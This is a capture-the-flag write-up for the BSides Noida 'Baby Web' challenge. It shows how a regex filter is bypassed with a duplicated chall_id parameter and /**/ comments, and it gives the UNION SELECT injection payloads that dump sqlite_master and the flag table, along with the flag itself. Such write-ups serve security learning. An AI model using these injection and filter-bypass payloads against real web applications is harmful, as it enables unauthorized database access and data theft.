# Baby Web
#### Category : Web#### Points : 420 (68 solves)#### Author : Karma
## ProblemJust a place to see list of all challs from bsides noida CTF, maybe some flag too xDNote : Bruteforce is not required.
[Link](http://ctf.babyweb.bsidesnoida.in/)
[Sauce](https://storage.googleapis.com/noida_ctf/Web/baby_web.zip)
## Solution
Downloading the source and hosting it in a docker locally, we see that this website takes a parameter `chall_id`

Looking at the `index.php` file, we see that the following sql query is being executed.

But if we try to put an alphabet in the parameter `chall_id`, we get an error.

Looking at `config/ctf.conf` in the source code, there is some regex that is used to prevent alphabets and white spaces.

To bypass this we can use two parameters so that first one is processed by nginx and second one bypasses it.
```htmlGET /?chall_id=1&chall_id=a```

And to bypass the white space restriction we can use comments.
So instead of  `UNION SELECT`, we use `UNION/**/SELECT`
### Listing columns and tablesFrom opening `karma.db`(from source code) in sqlite browser, we see that it has 6 columns.
To list columns and tables, I used the following payload
```htmlGET /?chall_id=1&chall_id=1/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,NULL,sql/**/FROM/**/sqlite_master```
Using this payload we get a table named `flagsss` and column named `flag`

Now, we can use the following query to retrieve the flag.
```htmlGET /?chall_id=1&chall_id=1/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,NULL,flag/**/FROM/**/flagsss```

So the flag is `BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}`